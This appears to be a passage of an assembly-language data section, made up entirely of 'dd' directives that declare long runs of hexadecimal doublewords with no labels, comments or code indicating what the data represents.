dd 0B1D711AEh, 12C17E97h, 128079A1h, 9A328075h, 81EEA06h
dd 25C47293h, 0A980DCBBh, 5C5329h, 9CA3F5F8h, 3FDCB95h
dd 8216AE1Eh, 74B1F1C0h, 13B51F86h, 5C2D42h, 0C16F5EDAh
dd 654C2850h, 0E93700ABh, 5835A651h, 0DC9863h, 66DB8BFDh
dd 0CBCE382Ch, 0F4E17503h, 0A84B3FF3h, 1C595149h, 0AE8DF7h
dd 0E8524608h, 5FF44D50h, 77F65C50h, 0DA5BCC09h, 73F18063h
dd 0A47A25h, 0CBA14CAAh, 86046ED6h, 3E9C961Eh, 0AD318F80h
dd 2ED3B699h, 4375F02Eh, 13B3A10Dh, 2717C007h, 3F20CD2Fh
dd 45E349h, 5AF86055h, 2B2092EDh, 3525C300h, 4C3CDA3Eh
dd 55F30053h, 6F0D6B65h, 9E120F70h, 3400A876h, 6A207285h
dd 35E00463h, 90133BACh, 62CC1A08h, 7066D701h, 9F69FD9Bh
dd 0D0D08E43h, 36D977h, 0FF026C60h, 658DFEA9h, 7452A460h
dd 3E4BC26h, 0D2888BEBh, 41A17AD8h, 0E8BC30B1h, 84630574h
dd 26796CD9h, 3127F94h, 399B9383h, 4FB5AB90h, 0CCC1B104h
dd 4B84C664h, 0A191CAD0h, 0A84600AAh, 0C15FBFB8h, 7901D7D1h
dd 0A7BDCDBh, 8684A9E2h, 0C884D6E9h, 400FE1Dh, 0CF86A3A6h
dd 0EFB6DEFh, 211A6CC1h, 0D272D80h, 7718EA54h, 0CEFCD546h
dd 4C7D02D1h, 74C0D81Eh, 0A4A824DEh, 1D2A903Dh, 8D45EEE8h
dd 0A5023B32h, 40266F8Ch, 509E5Bh, 80AD5EB2h, 16C1404Bh
dd 6A08A524h, 0B1ABF987h, 109E1CF0h, 8D74CEh, 62577FF0h
dd 18661DEEh, 64D58007h, 0E00E6087h, 8FEFE896h, 9E36008Ch
dd 0B64D409Bh, 197E9A0Bh, 30001271h, 3CAE37E2h, 384C01h
dd 339D9FE4h, 0ABA3615Bh, 13B14900h, 776B2923h, 23B64CADh
dd 5E81F93Fh, 417E7008h, 0D4CBD009h, 0B54CF117h, 483B79C0h
dd 4E3E2CDCh, 6252032Ah, 7A91086Ah, 9BE96484h, 28953300h
dd 0FE665BC9h, 79700060h, 8E877715h, 0A02E902Eh, 0AB03DAA6h
dd 0ADB1D94Ah, 0A5B8CF02h, 60A79253h, 4EA673Dh, 44B560E3h
dd 7389038h, 0FB056559h, 5F0AA2F8h, 8FA72AC1h, 6F1D0h
dd 69623AA4h, 0AE70590Dh, 0BD51B902h, 400FE864h, 0A1F0E950h
dd 8C6024D1h, 389A0092h, 0DD479DA0h, 0AD000B05h, 611802BBh
dd 30240773h, 0B7F9397Fh, 0BA0058C4h, 0CE6CD6CAh, 0E484E6DEh
dd 139AE0F6h, 170CFCh, 0D745A4EFh, 0DC597AE2h, 3F3007Bh
dd 1C0CAA0Ah, 0CFD9822h, 2D55C627h, 29243CF9h, 0C443B7D7h
dd 87EB0EB8h, 0BEE28E39h, 0AF5EC260h, 4882F400h, 0A79D4Fh
dd 3ACEAD41h, 0FB840F79h, 6C2C2500h, 0B80E1175h, 43B60C20h
dd 1864F615h, 89C7CA3Eh, 87B1B41Ch, 0D1006450h, 0D8883Ch
dd 46F18981h, 0AA147A70h, 98972C01h, 4E5D85F6h, 136C4096h
dd 3A460C7Dh, 30F5113h, 0C3F7E658h, 0C92C24A6h, 54FD04E7h
dd 3B5C34h, 0EA4A4DE5h, 0E72693Fh, 61550B13h, 1DF58300h
dd 27C523h, 0DCDF3D37h, 68FF32C4h, 0BFB98816h, 0C278D830h
dd 626500CDh, 0DEAD8D46h, 317A26E4h, 7E006AF6h, 730B165Eh
dd 264D3DDBh, 9E2F058h, 3588EFE6h, 3A770C9Ah, 0D79886B2h
dd 23D3EB05h, 1AC3AD2Eh, 921D008Bh, 5939DA44h, 2D03958Ah
dd 0F263EC8Fh, 0D12103CAh, 4C411983h, 803860A9h, 0A1994717h
dd 1EE63C3Fh, 0CFB3B64Eh, 4A40A404h, 0E7DCAB8Bh, 3EE17F00h
dd 7858ADCCh, 8C20037Eh, 309AC1EFh, 0FD805ECBh, 0CA58BE94h
dd 1D8300DDh, 86DDAE81h, 65E703C7h, 3336968Fh, 0A19B73C8h
dd 0B5A54300h, 0F15A5DBBh, 0E801007Fh, 0B6EA8336h, 17F2744Ch
dd 80E36C3Fh, 503DC1E9h, 307AC82Eh, 0CE0FBFE7h, 33001680h
dd 703F1FD6h, 7A1876h, 2F32908Ah, 0C637D9D4h, 0AD2F9E60h
dd 51CC75Fh, 623F5EABh, 0DEA7D728h, 88F9A4E0h, 7200D3A6h
dd 9093E122h, 12D9E27h, 2E4AAC05h, 9FCFF768h, 91C0DE0Dh
dd 701D943h, 9C0D1896h, 2D7B1D74h, 0F729A30h, 932B79h
dd 57C952F5h, 0F6396402h, 0EA1C406h, 0FE241FE6h, 0FB233094h
dd 1CB4020Fh, 0E0DAB201h, 40167F82h, 0B0E1E4F0h, 92AE0722h
dd 87BF64E7h, 817BC02Ah, 95078523h, 84E4DD9Bh, 7790728Ch
dd 0D37E09DAh, 0C9008FDh, 4F6A3FAh, 60EE8260h, 0B84074D8h
dd 0DFB70060h, 46E987E5h, 24654CBDh, 0D7322B1Dh, 52604098h
dd 1FB960E1h, 0D7DA72C0h, 3427B8B8h, 0B20E8Fh, 0BC2218EEh
dd 95160052h, 0B01C0F59h, 0FD00F7ADh, 0EDE69C9Fh, 4D48A8Dh
dd 0C07679DDh, 0B501A0CBh, 9400B490h, 7F35389Eh, 24222587h
dd 3FBA786Ch, 56FD680Bh, 55D27AD6h, 6884CCF1h, 0CCAF5FC4h
dd 4E43285Fh, 8B80503Ch, 585AFE46h, 78273F0Dh, 1D8D480h
dd 1385D07h, 57B12A49h, 2D55E8C8h, 3D706AC7h, 87B612CEh
dd 0E9F144B1h, 58CDE073h, 0BFB6166Eh, 69FF4C13h, 0E75FA2Ah
dd 408F61C7h, 0D86F5F08h, 2BEF8B64h, 0E9887CBFh, 0DFD96D2Ch
dd 2ECC500h, 198BC16h, 0B811F3FBh, 0CD14A606h, 0E0FFFC03h
dd 9C9E6302h, 609A182Eh, 179643h, 33848CEh, 7E9F46E7h
dd 2F01C3B8h, 0D96A0299h, 0B46007BFh, 1349007Fh, 759C2A40h
dd 0C43C06FFh, 80963C7Dh, 0BFCA3305h, 0EB196Eh, 0B85C1A38h
dd 834E29FAh, 0BBD838C1h, 0A17437C3h, 89C10054h, 439F714Bh
dd 0E8376075h, 0B880DF0Dh
dd 98C174h, 92FA3006h, 0A338CA8Ch, 2513E930h, 9DD091h
dd 0F9F152AEh, 0AA4E1E89h, 61B60F16h, 99EC4401h, 207A5E51h
dd 583DD959h, 0CB0FB5Eh, 60320083h, 30AAB95Bh, 615AC681h
dd 33F57B00h, 0FEBFC0h, 8B4D6DEEh, 0EA80060Ch, 0BAF1D050h
dd 6A70211Dh, 0B75B0558h, 72D27ACh, 0C0134BD4h, 0F5239206h
dd 4F36000Eh, 0BA663193h, 51003F91h, 8F14D780h, 0A0E90604h
dd 5EEF7Ah, 824AB473h, 9E79EA2h, 0E2399204h, 0A64007E9h
dd 58525FB4h, 811F32EAh, 28CB59E8h, 0F21DE4Ch, 0C06E5535h
dd 0BF3177Bh, 5F473B00h, 0BD8E428Fh, 61C0179h, 0F88101CCh
dd 73A02A80h, 1285360Fh, 0CA2D4E2Fh, 0C05AD80Dh, 0F439AC15h
dd 3B042063h, 8E0FF6EDh, 0D80DBA4h, 67E9DBE3h, 81AFC84Ah
dd 261C9900h, 155D78ADh, 0E04A01C4h, 6F034DD2h, 0E1F9E11Bh
dd 5CEAF01Ah, 0EB3CFE1Dh, 802E150Eh, 0F9F453DCh, 211D67E1h
dd 4630417Fh, 9511804Bh, 9A6C1E02h, 380683CCh, 0E8FEA2FBh
dd 29440211h, 0F3492491h, 8D54C400h, 0FEAD225Bh, 4A9B6A02h
dd 5656FD3h, 0A61C0EAh, 8A35FD4h, 447D4920h, 0DB3A6AFDh
dd 2505216h, 45F38898h, 49A2202Bh, 275873A0h, 19E601B7h
dd 0ABAD80E8h, 0A5BE09Dh, 840E05h, 9B23AE25h, 10C31335h
dd 88E65311h, 0DE82BEh, 40BE849h, 12E9F7E5h, 0FCE14F0Ch
dd 41486062h, 9F2DF098h, 80632CF0h, 7D310h, 84AFEAA0h
dd 76D45F2Ah, 0B9503600h, 0A9592D6Ch, 227787Eh, 0EB2988CBh
dd 0D3407D9Fh, 12785EC8h, 3685B407h, 3C23D15Ah, 715A054h
dd 78C20053h, 69B23A2Fh, 0C60041C4h, 0C0541083h, 5E327Ah
dd 5D296BC2h, 59337ED0h, 1E384AEBh, 3A1ECF2Fh, 0A318523Ah
dd 38081E34h, 0B078184Ch, 2D138DA1h, 3CF8AC5Fh, 2784CF00h
dd 1415AB34h, 78CC5D13h, 0B1530Fh, 89C66309h, 0A0397D0Dh
dd 78196468h, 3469343Fh, 4DC5139h, 6281ADF0h, 0E27310C0h
dd 0A8FF6D47h, 500619C8h, 0EAF82Ah, 71935C9Ah, 5E53141Bh
dd 0ABF41C92h, 18940231h, 0CBE0042Eh, 1229DEF6h, 513800ECh
dd 0D8BE2470h, 14ACF00Ah, 0E9022C79h, 42E726F2h, 4F0C3100h
dd 8C0C88A3h, 0D830DCB6h, 8F704D1Bh, 0F59AEB59h, 0E2785001h
dd 40846CADh, 90EC2C65h, 53F2EAA0h, 0C87F59C2h, 6578A177h
dd 5842EF2Eh, 36F91D4Eh, 8761FC0Eh, 0AC11437Eh, 6EA80047h
dd 5CF0D639h, 0F6494824h, 0FA7506CCh, 728E826h, 0E6378798h
dd 1A6E4118h, 15198F27h, 216809D3h, 0D5B2E7E4h, 0E47C034h
dd 0C79EADAEh, 3E501F76h, 13202243h, 4FFC61A0h, 6A606DB0h
dd 991FEE4Dh, 0EA0C8150h, 0CF4D6B78h, 884F1414h, 0D8DF0258h
dd 9D60741Ch, 2471164h, 499EBDAEh, 0BC8CA81Dh, 0B8904310h
dd 16BDF511h, 9042C57Dh, 0A19B80C3h, 5119C6C4h, 0A0ACF84Ch
dd 985D54E0h, 4814425Ch, 0C6F22248h, 0C1386E40h, 655D214h
dd 0A321C88Ch, 877650E4h, 9AE64B13h, 42987C26h, 8390628Bh
dd 90C52505h, 5914DC64h, 54512961h, 884CA261h, 19C72C3Ah
dd 426428ACh, 12EA0ACFh, 59054844h, 0E0427FFCh, 46DFA71Ah
dd 5B69440Ch, 976880AEh, 0FEC20C99h, 0BB8C882Dh, 3F74240Bh
dd 0E9EF8A04h, 55146188h, 2787161h, 0C31027F4h, 0B094A4A0h
dd 0DD52020h, 30EE28A0h, 0E9F74486h, 256880AEh, 8CC20C99h
dd 4B8C8175h, 0C337620h, 215F6F9h, 787C8198h, 0D045A846h
dd 0FE34800Ah, 650C6299h, 25493050h, 0C23AA9Ch, 9B2421D4h
dd 4F15B132h, 0B01790A0h, 24251CF5h, 9414FA48h, 20D6D8B1h
dd 0EB11FE74h, 0F15020D5h, 31F6CC1h, 996CAACFh, 8BB129D3h
dd 0C481B7A8h, 0DCB4C845h, 81DFD8A6h, 0E8D95824h, 2C9A4C54h
dd 0F03570A2h, 0F28D6CD3h, 855CEC03h, 0C53C1000h, 0ACF3F1Ch
dd 0D8792A15h, 9E78A0A0h, 0DC8482DAh, 0E2B04129h, 1880EC86h
dd 5DD02C67h, 0C4A05443h, 11F9E603h, 34077374h, 0DBA888E2h
dd 4A083CA6h, 0F216A9D6h, 0E03CE828h, 5C8D6D1Fh, 8ED82A8Fh
dd 9FE9083Ch, 50F01CF0h, 7BD58074h, 19207100h, 2E0D68B9h
dd 3E1578A2h, 17078B47h, 0C26BB434h, 14835D2Fh, 0A0E11863h
dd 1D24705Ah, 0B8D1FF24h, 0AF1AF280h, 1D1EF1E8h, 4171886Ah
dd 0FAC11C8Fh, 49F822E1h, 1ED1C4BCh, 2D3A0081h, 0DCDD8911h
dd 840CA0B0h, 38196CA3h, 499A09E5h, 0B8076EEBh, 1C3C488h
dd 431FE95Bh, 44A1A870h, 74145E02h, 0F1201765h, 0C718C05Bh
dd 0D314150Ch, 3E7CA960h, 0E603876Dh, 0DDEEE859h, 21710930h
dd 1287659Ch, 20E1249h, 0C7FDAFDCh, 0C0E484A4h, 474D7133h
dd 0B319813Bh, 1DF082Fh, 203E0721h, 0F4654D13h, 62022B29h
dd 459A0B2h, 0AC8C887Eh, 2863D500h, 148A52A5h, 903DCE70h
dd 79A09F03h, 287E5E64h, 5D75D503h, 0F0D3C3A1h, 719DE45h
dd 0A6B6EE8h, 38EBA9C9h, 9B425BA0h, 4F07110Bh, 752402D9h
dd 4D8880EEh, 0D42C96A8h, 2114E460h, 0D314A426h, 4E9D886Bh
dd 2D81BCD4h, 24F14B25h, 193BF5D0h, 2CC8FFh, 0E85124A5h
dd 583B2506h, 0BE804045h, 0EDD9F35h, 0C8DB6E17h, 6CFA02EEh
dd 88A0C69Ch, 0A5B67976h, 9A9FEF1Eh, 97EF8837h, 1E6E1006h
dd 0BC40010h, 9745590Ah, 0E7000EC8h, 0AD0255CEh, 60529396h
dd 0C74A785Bh, 7F14CD18h, 6242F26h, 3EB2A7EDh, 4F180411h
dd 42E1678h, 0BCE31A44h, 4F661C02h, 0F8A3E8BCh, 24EBCFC2h
dd 0BA893FC7h, 30B40811h, 45303A70h, 1C354119h, 9EB503AEh
dd 96610F08h, 212C0930h, 0B0AE1455h, 0F218EC3Fh, 9A3926B2h
dd 6FED0698h, 4530A1D2h, 0A9B7311Eh, 3D9005Fh, 0A8D704FEh
dd 9CB1D414h, 0F0088401h, 0C3F1BB68h, 0DE1B46CCh, 0F9AE4139h
dd 20042603h, 0B4A8F4BCh, 88184D65h, 0B66834F6h, 0F2AC306Dh
dd 9DA1FEF9h, 3652E900h, 467B1ED4h, 1A51C327h, 37B182DCh
dd 0A67CDC86h, 0CD402B00h, 96DD504Fh, 7B142497h, 801611A0h
dd 0E645876Fh, 9E0B8769h, 96B4C067h, 405B65B9h, 0CCA0A5ADh
dd 61092694h, 0E255150h, 0DC30D1CCh, 80F1A09h, 65BA3601h
dd 0A15B762Ah, 0C4A0B850h, 0BE34A0D2h, 73C60226h, 995A5C4Eh
dd 0A3068460h, 6D03BA07h, 0C1206EE4h, 0C02645D4h, 30D909F1h
dd 0FB7B81CFh, 6B933Ah, 0F3703FFh, 1655EC1h, 6F8DFA16h
dd 48B6441Ch, 7D0C7BF8h, 906DF0C1h, 0C780044Eh, 0C0E5E850h
dd 97A0C210h, 2460553Ah, 0E404948Eh, 0F8F3EFACh, 0AF3B8401h
dd 8FED5224h, 0BBE4A19h, 25E884F5h, 0FC68FE49h, 0ED480F0Ch
dd 76401C3h, 0AF548489h, 0AD3B9883h, 6CC97567h, 18CC2046h
dd 4B3D2D01h, 431E76BEh, 453F7022h, 0C02259E4h, 8C6DF1DAh
dd 0A97FE400h, 5232433Bh, 5D76005Ah, 0AEC37975h, 81C1C9FDh
dd 44AD677Ah, 26B74AC4h, 80744D76h, 7BB5E64Fh, 8C05AA83h
dd 0C6961A2h, 67D3B081h, 2FF4F180h, 0AFBCD794h, 0A89EA005h
dd 8003571Dh, 3EB64F7Bh, 0D59814B8h, 24ADB073h, 8CF4442Ah
dd 18E5F91Bh, 13077B9h, 7AA296F0h, 3040F6BCh, 45097C54h
dd 22D82AC9h, 3C57084h, 0C102D7FEh, 3D125481h, 0BCE8E014h
dd 1DEEA9h, 193362B3h, 1C577E60h, 3D906E4Ch, 1EC40EEh
dd 0ED3B8C9Fh, 64FC81A0h, 5D4C54A4h, 11D430E0h, 9C33452h
dd 0A16C2CB1h, 0E34F7490h, 4101B4B6h, 0D405030Ah, 3400DC72h
dd 0D5D8EEFAh, 1F04B333h, 0FE5FD124h, 55BC58C0h, 4638985Dh
dd 0AE1F023Dh, 31209EB8h, 1758112Ah, 0CF852081h, 324036A7h
dd 0E8584C80h, 0A1008CE0h
dd 0CCD1215Dh, 94139E4h, 45D64E59h, 7C00A094h, 6588BF7Dh
dd 0C95D71D3h, 382EE719h, 76A70093h, 51166657h, 0A2171B12h
dd 84A0A809h, 248CB518h, 776D31D3h, 83284441h, 6F0A9469h
dd 8C23904Ah, 0A57200BAh, 32C544BFh, 9E463A0h, 7033760Bh
dd 0D0801B1Ch, 1E19A7Ch, 2FEF972Eh, 7479D2E6h, 780B1D18h
dd 80739EFAh, 77C767E4h, 24C89A92h, 4E8A8BAh, 0B4AC6628h
dd 8002764h, 0B3B54E5Dh, 0B6BDA8h, 0D34838BCh, 0A42A992Eh
dd 1E44B701h, 190BDD7Eh, 129F4820h, 1870C61h, 9A6C2A10h
dd 0C19C54D6h, 424A74h, 9C25FEB4h, 0A04F0378h, 18001F8Ah
dd 0EE0FEDE7h, 0B0DB5EF1h, 4A3492B8h, 2D78322Bh, 361AA461h
dd 54732EC4h, 0B189E609h, 0A21076C4h, 1200876Bh, 9B6A0BC2h
dd 0FFD375E9h, 86C8DC49h, 25CF049Fh, 0AAAD7D6Dh, 4844E182h
dd 24EEC064h, 3E80CCA7h, 90D4AC3Bh, 1B55A0Ah, 0C839A144h
dd 309986Bh, 0AD2A59h, 8CFBE4D8h, 469C5BB4h, 0EDF01F54h
dd 77924F3Fh, 17AB5200h, 0BE87C5C0h, 5B84A128h, 0AC1B5C73h
dd 29E071FFh, 0FB00199Dh, 0CE3C2EA3h, 7F5297h, 69A0A44h
dd 58842990h, 94E0FA2Ch, 0DC799E41h, 148D824h, 78B7A0C3h
dd 29FF72E2h, 0BC342294h, 0A059047Ch, 467D046Dh, 3C6FB488h
dd 0D2BAC068h, 0D955B280h, 9BC3C8ADh, 60765807h, 1493E219h
dd 0E03D9366h, 621C8ECEh, 5576426Ch, 0E87E5440h, 0FAE1CA1Ah
dd 0C0E863D8h, 901A19A2h, 40AD4E50h, 0C181EE60h, 20B88C3Fh
dd 205D3B35h, 34021404h, 0B6CC6B00h, 0E0A85EA3h, 81189EACh
dd 49B86164h, 9195746Ch, 0A2A0043Ch, 0F95B0423h, 30AD0CC2h
dd 6F112043h, 0E188374Dh, 203C0580h, 1A88067h, 0FD889A0Ch
dd 60491413h, 0B958E370h, 48FF2536h, 20669Ch, 0A04863ADh
dd 0AB4F2EB1h, 30EBE827h, 12CD8A00h, 40F31A6Dh, 4381574h
dd 30DD68ADh, 0E0C825CAh, 7F804984h, 8BFA7701h, 1083872h
dd 98B54697h, 0E050C881h, 0FA2CD0EAh, 8820A73Eh, 24C76F2Ch
dd 1D744839h, 0D20E20EAh, 4046C490h, 0BBAE2202h, 3131389Eh
dd 7A1A5B11h, 7E33D800h, 278E07Dh, 84A1454Dh, 0D4AE6CD3h
dd 49B76780h, 0E100438Ch, 0B67712C5h, 52631A7h, 0AAE84AD0h
dd 0AD38A029h, 0B999F860h, 0FAD0BC87h, 0C3F00D3h, 1AF58B73h
dd 740BBE94h, 84DE9676h, 0BC825E99h, 0AC72ADh, 667012D4h
dd 0CE7DE31h, 613F2B04h, 0FC8852DDh, 0DAA12E5h, 1F4804FCh
dd 74CA24Bh, 0A82FEDCAh, 128C8BB0h, 44251F76h, 0B7791E86h
dd 91EA80A0h, 0D091AD50h, 7E061900h, 1249D1h, 0D5EDF2D3h
dd 4D2434BFh, 70BE563Ch, 44395300h, 41B496C3h, 0B85E89Ah
dd 144E1204h, 0A799050Ch, 6FCD4500h, 0A2C9F1D1h, 0F0C600B3h
dd 0E9D63BFEh, 0D358C37Ah, 96B51C2Bh, 87331D80h, 28F275FBh
dd 0C0E0EF16h, 0A9EB918h, 0AEF87640h, 0D0E4D841h, 20C49009h
dd 608BF6F5h, 132A8BC8h, 210076F6h, 0D8A99D0Dh, 0E95A61h
dd 60E6FAA6h, 486C511Ch, 0FDDE4000h, 7049A0B1h, 14309079h
dd 0C3C206Bh, 8C2C5908h, 51CE5885h, 4925AC03h, 0C370044Bh
dd 0F002E276h, 1C0111F0h, 0C7F95836h, 3C84B98h, 9C3B0F9Fh
dd 0D081690Bh, 0E039A404h, 3572940Eh, 3A5DA600h, 3B99F490h
dd 0A5F17E8Bh, 30783814h, 45308D34h, 0F0EB0791h, 0FD0290h
dd 3A319EF3h, 3C280388h, 713603CCh, 4CA90A9Bh, 2F929006h
dd 2418B58Ch, 3DAA0E8Bh, 4CAA0807h, 3B4C4E9Ah, 85E89528h
dd 4574EF7Ah, 4BA3050Ch, 3734788Ch, 0E750FF90h, 5945C6F2h
dd 0F68E4B14h, 84A6CA0Ch, 96309940h, 48A20503h, 1A3078Bh
dd 319FF288h, 4014478Fh, 2F3302B9h, 0C5A423Ch, 494DB2A7h
dd 59750399h, 0A5F66645h, 0B3603100h, 3494D146h, 88911C19h
dd 25B6801Bh, 0F85F7C32h, 0E6A38h, 0EB54E730h, 73DABBA0h
dd 5A48389Dh, 0A82D5500h, 80B67E73h, 0B318A7FAh, 1970F875h
dd 0DCC40049h, 2D7D7650h, 0AAB0FFC1h, 22F05806h, 1D98554Ch
dd 2BFD875h, 0A3E4DC3Dh, 28971203h, 451826A1h, 0D8689034h
dd 1244593Ch, 0DF319F60h, 28FFB61Fh, 3A2C2D76h, 8244F5DBh
dd 788D3840h, 0C640A937h, 38030603h, 36B778C1h, 18A1BB51h
dd 81F48D59h, 79C34E1Eh, 187733AFh, 592E1130h, 0D01E329h
dd 0B0349248h, 408FA4D5h, 96239FCh, 0D084A0E5h, 184C6220h
dd 1F8C5115h, 0F10ABB63h, 94791131h, 30C6A3B9h, 3DD56847h
dd 6BE51557h, 0F331A4F6h, 202138F1h, 0A051EA99h, 45D2C878h
dd 8E316861h, 188A5709h, 154C0339h, 8440587Ch, 5FAB4475h
dd 0E0CEB312h, 0E039181Bh, 63316D95h, 0EE1E318Dh, 3E551914h
dd 58232A4Ch, 8241E889h, 1DDAF591h, 0FA28418Fh, 0A43CB994h
dd 79082E21h, 6A2456A5h, 10D374F8h, 0B2E3E6B8h, 0FA1210A5h
dd 31406485h, 6E189CE5h, 8B73118h, 85F97A51h, 0C208BA59h
dd 45F1F843h, 0C8210A9Eh, 0A9A8AA11h, 0CE4250AEh, 7550F223h
dd 0D41085A3h, 21D4DA88h, 0E944CA5Dh, 0C8B52222h, 519F8108h
dd 8D8A08ECh, 0A0718D45h, 5C32A412h, 0B2846C48h, 6032524Eh
dd 3B4C680Dh, 56F03006h, 8D1ECD21h, 40614D6Ch, 448C98F8h
dd 0A1C0FF5Ah, 6E8F7358h, 22EF1B6Ah, 88B43133h, 0B8191A84h
dd 3EB16C26h, 0EF8F4110h, 0DC062126h, 22117618h, 8638A657h
dd 0F2C64058h, 114279C9h, 3C5C8DC0h, 4032644Dh, 0B6D4152h
dd 0A048E32Ch, 64F24CAFh, 494836D2h, 4095971Bh, 0F6ABC021h
dd 0AC752450h, 0E26A62F8h, 0CD05110Fh, 453C8D30h, 801569A0h
dd 85319DD8h, 46A5C600h, 7893F292h, 74F4748Fh, 5CF30037h
dd 4102814Ah, 50FAE53h, 81D93BA2h, 0C69646A3h, 560030E1h
dd 0D1F914Ch, 363A78AAh, 5811289Bh, 27CD88Eh, 32A0019Ah
dd 0F0C0C698h, 571E0296h, 971F8236h, 9EF29005h, 0A68260C7h
dd 0A814E046h, 0C88E2837h, 7D048D7Ch, 8B118AC0h, 32980101h
dd 40A4C88Ch, 12184B95h, 908E8612h, 0BC012039h, 6E3771Bh
dd 0D31882FCh, 0E371D975h, 30B2E738h, 6E7C68F5h, 51372C19h
dd 0C189020Ah, 0E8E0D628h, 74803990h, 98681378h, 0BEDC094Eh
dd 0FE6D5C40h, 1FFD2A00h, 0C0397B74h, 0F441050Bh, 80CE89DAh
dd 2B0EBC20h, 3A6F320Fh, 204AEB2Dh, 8B216EA4h, 0F8F8B87Dh
dd 8370B8A8h, 9158C840h, 0CD9C326h, 8192E39h, 98F93037h
dd 0CDC014CFh, 29807C20h, 0DD1CD091h, 69E5647h, 104D113Dh
dd 0EABB2909h, 68E48C3Eh, 0A89E10CFh, 0AC2710C7h, 0F838DB19h
dd 0D381815Ch, 6BF1EF45h, 0A01040BEh, 8D9C4157h, 788B4850h
dd 82D493C2h, 88C9484h, 66870DD6h, 8082ABF1h, 65564195h
dd 898E8884h, 38D5D400h, 4FBFA806h, 7E19A312h, 1DAE002Bh
dd 0ADC28008h, 5732C6DCh, 86F589FCh, 49087648h, 0B9C92841h
dd 49E66415h, 97EF0F09h, 328051F0h, 3ED9933Fh, 2E143700h
dd 923082C5h, 564EF3h, 9A469614h, 35595709h, 1988B78h
dd 32A3F450h, 78F05461h, 89E73AB4h, 93078D01h, 0CCA9CF3Bh
dd 44A6D54Eh, 4B8F9E00h, 0A9F0E19Dh, 7A04ACD0h, 53977C15h
dd 8400CE0h, 9A0D08AAh, 0F894E230h, 0E1ADC530h, 0E2FB0823h
dd 26E11B32h, 4EE5F139h, 8A488A0h, 6914A539h, 87FCA10h
dd 0FA483564h, 0B3301D95h, 0C1593ACDh, 0BB881052h, 2B3C6791h
dd 7C084646h, 70019641h, 0E902AF39h, 5CF09C6Dh, 0CBF5239h
dd 8CC6B615h, 0AD065090h, 281C7DE3h, 38993496h, 32123909h
dd 34483324h, 3E223591h
dd 89403F44h, 243A1241h, 913C483Bh, 4446223Dh, 49894847h
dd 0F1E04213h, 260286DEh, 2084D2B0h, 0A3F491B5h, 84FCB894h
dd 49735B2h, 8526A59h, 38BC80E1h, 7C369FD8h, 86A53EF3h
dd 0C701AC48h, 551BFA56h, 37A0E079h, 0FDD8311Dh, 251E431Fh
dd 2DF9DB07h, 404CD3C7h, 3A5F84Bh, 0A6F778C3h, 1EC057A7h
dd 0F91E5955h, 8A09380Bh, 7F484DBFh, 0F57F04E8h, 302BA259h
dd 88D6A188h, 0D0A51108h, 0D814BE8Eh, 7AB38F8h, 28A90187h
dd 0F0CA8F28h, 9CB2606h, 1804CC45h, 0BBEA042Fh, 518E7C81h
dd 0A9ACC0D5h, 0C1185970h, 0C02157B3h, 7038A53Bh, 941FF6B3h
dd 0D48766CBh, 4BC3AA7Eh, 0AC180EF5h, 546023E2h, 0D342F1FAh
dd 2B1C43F9h, 9F7160F8h, 0D92919F4h, 0EC1728A2h, 0D7C1E4A9h
dd 8CBB1C72h, 31A71141h, 453F0090h, 0D4DA8812h, 43005A54h
dd 0A187A3C2h, 0E93DCDh, 0DCF66635h, 0DAD895B7h, 41D438CFh
dd 0A475EB37h, 0B174B02Ah, 5DCD4606h, 30328Dh, 0AA2896DDh
dd 725191DCh, 0A371A060h, 0E7EEBBh, 7A373494h, 9917888Dh
dd 0B61B506h, 0F850CD52h, 31B70365h, 3A89E36Dh, 83AC5FC0h
dd 27259E1Fh, 5766C2C0h, 0FE2C09CDh, 19720056h, 0A0EA70B7h
dd 9E340ABFh, 0E40748C4h, 500D732h, 17FFC0D3h, 0E8FAB3A6h
dd 29B06224h, 96600E46h, 7B6FEFFCh, 0BE002076h, 81F9236Bh
dd 0A42914h, 0C0353BBBh, 0A9395592h, 0D65CBA00h, 0DA6894CEh
dd 816F3AAEh, 579ECA00h, 5192993Fh, 9007C6FEh, 0E0F02B68h
dd 0C3BA4BC0h, 13F746Ah, 0CB4954C5h, 0D31D3BBEh, 0BC4B75E0h
dd 404DC630h, 2D04AB6h, 0D6749ACAh, 40909CC5h, 4D1EC1CBh
dd 7C07C943h, 5FC1ABECh, 9BE2BC3Fh, 0D8983E30h, 1C68C014h
dd 0BE4B73C1h, 0B0F00093h, 0BBD61D5Eh, 98D80AC1h, 0AEC4560h
dd 0DE043A8Ch, 68C1BC18h, 50AC070h, 44BFFD9Bh, 9C1870D9h
dd 0CF003F51h, 0F5D44A9Dh, 48DA1483h, 2C46BAB6h, 92B9D50Ah
dd 80B800C4h, 0EB93E510h, 0BD311514h, 80EFCF38h, 0B493966Fh
dd 0C9D51D5Fh, 1448159Eh, 3AC040D1h, 6E5D9448h, 9CC41D07h
dd 0EB424B61h, 55F8A05Eh, 2885B7D9h, 8550E516h, 98C05504h
dd 306AD6h, 3571BAABh, 0FF3BE39Dh, 4AEBB80Eh, 68C380D3h
dd 1381F8D7h, 5DBA406Eh, 6FC00D00h, 0DA27CC28h, 98909378h
dd 569CB401h, 67EBFB8Eh, 98C5C6F0h, 2850CF40h, 5152EF00h
dd 2099B948h, 93716CA8h, 20F743F8h, 26F1D9ECh, 0F9990F74h
dd 8909A5Dh, 0FE570460h, 302A1124h, 0BBD55500h, 59DC774Fh
dd 101290CBh, 9640319Bh, 0C5820B8h, 54C1CC07h, 1540CACEh
dd 989BA005h, 78F490D0h, 9EC3181Fh, 58BF4052h, 4F0FC098h
dd 0A1CF4456h, 0C2BCD41Bh, 41E23DD1h, 9EC4E28Ch, 0C6D70567h
dd 81D9549Dh, 60D05C70h, 0DA122648h, 0A001BE0Fh, 0D957C6C2h
dd 1253ABE3h, 1B549460h, 0F0E758ACh, 0BC0C689Ah, 0F409760h
dd 0E8CF5EB5h, 10C8C79Dh, 0BE438193h, 0BC308194h, 0BDCF504Fh
dd 0C0C7A18Fh, 9C580096h, 9ACEDA66h, 0D0181558h, 4AA9FA04h
dd 0DC3C74F8h, 0D61B17CAh, 4C5DD430h, 4FCB16D4h, 0FD603066h
dd 4B0F7F4Eh, 8E1B92C1h, 0B874B2BAh, 24B5189Ch, 13F067C7h
dd 0BE1C03C6h, 0BDA0579Ch, 0D60F68BFh, 9844900Fh, 58D05E30h
dd 3C787CC7h, 3D02C1C0h, 96609EBAh, 0CAD7C047h, 96BEF5F8h
dd 0C44090CBh, 0C73D55B2h, 0E468599Dh, 0D84A1BC4h, 98B0600Ch
